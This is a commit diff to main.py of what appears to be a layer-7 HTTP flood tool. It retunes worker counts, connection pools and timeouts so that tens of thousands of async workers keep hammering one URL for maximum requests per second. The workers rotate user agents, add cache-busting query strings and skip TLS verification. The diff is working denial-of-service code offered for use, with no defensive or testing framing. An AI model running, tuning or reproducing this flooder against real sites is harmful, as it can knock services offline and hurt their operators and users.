Update main.py

main.py

@@ -36,14 +36,14 @@ CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
 # OPTIMIZED configuration for maximum sustained RPS
-# Balance: enough workers to saturate bandwidth, not so many they block each other
+# Sweet spot: 8K-16K workers for high-core systems
 if CPU_COUNT >= 32:
-    # High-core systems (32-64+ cores)
-    MAX_PROCESSES = CPU_COUNT * 2  # 128 processes for 64 cores
-    MAX_CONCURRENCY_PER_PROCESS = 256  # Higher concurrency
+    # High-core systems (32-64+ cores) - proven stable at 64 procs × 128 conc
+    MAX_PROCESSES = CPU_COUNT  # 64 processes for 64 cores
+    MAX_CONCURRENCY_PER_PROCESS = 192  # Slightly higher than 128
 elif CPU_COUNT >= 16:
-    MAX_PROCESSES = CPU_COUNT * 3
-    MAX_CONCURRENCY_PER_PROCESS = 384
+    MAX_PROCESSES = CPU_COUNT * 2
+    MAX_CONCURRENCY_PER_PROCESS = 256
 elif CPU_COUNT >= 8:
     MAX_PROCESSES = CPU_COUNT * 6  # 48 processes for 8 cores
     MAX_CONCURRENCY_PER_PROCESS = 768
@@ -51,7 +51,7 @@ else:
     MAX_PROCESSES = CPU_COUNT * 4
     MAX_CONCURRENCY_PER_PROCESS = 512
 
-STATS_BATCH_UPDATE_SIZE = 250  # Larger batches = less lock contention
+STATS_BATCH_UPDATE_SIZE = 200  # Optimized batch size
 TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
@@ -251,43 +251,45 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # High-performance connector settings
+    # Balanced connector - controlled connection pool
     connector = aiohttp.TCPConnector(
-        limit=0,  # Unlimited - let OS handle it
-        limit_per_host=0,
+        limit=concurrency * 2,  # 2x concurrency for pipeline
+        limit_per_host=concurrency * 2,
         ttl_dns_cache=300,
         force_close=False,
         enable_cleanup_closed=False,
-        keepalive_timeout=120
+        keepalive_timeout=90
     )
     
-    # Aggressive timeouts
-    timeout = aiohttp.ClientTimeout(total=2, connect=1, sock_read=1)
+    # Fast but not too aggressive timeouts
+    timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker(worker_id):
-            """Tight request loop."""
+            """Optimized request loop with keep-alive reuse."""
             local_counter = 0
-            cache_base = f"?w{worker_id}="
+            req_counter = 0
+            headers = {
+                "User-Agent": random.choice(USER_AGENTS),
+                "Connection": "keep-alive",
+                "Accept": "*/*"
+            }
             
             while not stop_event.is_set():
                 try:
-                    # Ultra-minimal request
+                    # Reuse connections with cache busting
                     async with session.get(
-                        f"{url}{cache_base}{local_counter}", 
-                        headers={
-                            "User-Agent": random.choice(USER_AGENTS),
-                            "Connection": "keep-alive"
-                        },
-                        allow_redirects=False,
-                        timeout=timeout
+                        f"{url}?_={req_counter}", 
+                        headers=headers,
+                        allow_redirects=False
                     ) as resp:
-                        _ = resp.status
+                        _ = await resp.read()  # Fully consume response
                         local_counter += 1
+                        req_counter += 1
                 except:
-                    pass
+                    req_counter += 1  # Increment even on failure
                 
-                # Less frequent counter updates for speed
+                # Batch counter updates
                 if local_counter >= STATS_BATCH_UPDATE_SIZE:
                     with shared_counter.get_lock():
                         shared_counter.value += local_counter